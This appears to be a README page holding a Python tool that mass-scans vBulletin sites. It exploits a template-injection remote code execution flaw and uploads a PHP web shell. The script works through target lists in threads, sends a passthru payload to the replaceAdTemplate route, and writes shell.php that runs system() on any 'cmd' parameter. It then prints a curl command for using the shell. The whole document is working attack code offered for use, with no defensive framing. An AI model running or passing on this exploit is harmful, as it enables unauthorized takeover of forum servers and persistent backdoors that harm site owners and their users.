README.md
Rendering markdown...
import requests
import sys
import urllib3
import re
import argparse
import threading
import time
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
BOLD = "\033[1m"
RESET = "\033[0m"
COMMON_PATHS = ['/', '/forum/', '/vb/', '/community/', '/forums/']
progress_lock = threading.Lock()
progress_count = 0
total_targets = 0
def parse_args():
parser = argparse.ArgumentParser(
description="Identify and upload shell on vBulletin targets.",
epilog="Usage:\n"
"Use help page of the tool by using -h or --help parameters",
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument('--url', help='Single target URL', type=str)
parser.add_argument('--list', help='File with list of targets', type=str)
parser.add_argument('--threads', help='Threads to use (default: 5)', type=int, default=5)
parser.add_argument('--timeout', help='Request timeout in seconds (default: 10)', type=int, default=10)
return parser.parse_args()
def initial_check(base_url, timeout):
base_url = base_url.rstrip('/')
for path in COMMON_PATHS:
full_url = base_url + path
try:
r = requests.get(full_url, timeout=timeout, verify=False)
if "vBulletin" in r.text or "vbulletin" in r.text:
return full_url
except:
pass
return None
def test_rce(session, url):
inject_data = {
"routestring": "ajax/api/ad/replaceAdTemplate",
"styleid": "1",
"location": "rce",
"template": '<vb:if condition=\'passthru($_POST["cmd"])\'> </vb:if>'
}
try:
r = session.post(url, data=inject_data, verify=False)
return r.text.strip() == "null"
except:
return False
def drop_shell(session, url):
shell_code = '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>'
cmd = f"echo {repr(shell_code)} > shell.php"
drop_data = {
"routestring": "ajax/render/ad_rce",
"styleid": "1",
"location": "rce",
"cmd": cmd
}
try:
session.post(url, data=drop_data, verify=False)
print(GREEN + f"[+] Shell uploaded: {url}shell.php" + RESET)
print(YELLOW + f" Usage: curl '{url}shell.php?cmd=id'" + RESET)
except:
print(RED + "[-] Shell upload failed." + RESET)
def scan_target(base_url, timeout):
global progress_count
if not base_url.startswith("http"):
base_url = "http://" + base_url
found_path = initial_check(base_url, timeout)
if found_path:
session = requests.Session()
if test_rce(session, found_path):
print(GREEN + f"\n[+] Vulnerable vBulletin RCE: {found_path}" + RESET)
drop_shell(session, found_path)
else:
print(YELLOW + f"\n[-] vBulletin found but not vulnerable: {found_path}" + RESET)
with progress_lock:
progress_count += 1
def print_progress():
while True:
with progress_lock:
sys.stdout.write(f"\r[*] {progress_count} of {total_targets} URLs scanned.")
sys.stdout.flush()
if progress_count >= total_targets:
break
time.sleep(0.5)
def main():
global total_targets
args = parse_args()
targets = []
if args.url:
targets.append(args.url)
elif args.list:
try:
with open(args.list, "r") as f:
targets = [line.strip() for line in f if line.strip()]
except:
print("[-] Failed to read target list.")
sys.exit(1)
else:
print("[-] Provide --url or --list.")
sys.exit(1)
total_targets = len(targets)
print(f"[*] Scanning {total_targets} target(s)...")
t = threading.Thread(target=print_progress)
t.start()
with ThreadPoolExecutor(max_workers=args.threads) as executor:
for target in targets:
executor.submit(scan_target, target, args.timeout)
t.join()
print("\n[*] Scan completed.\n")
if __name__ == "__main__":
main()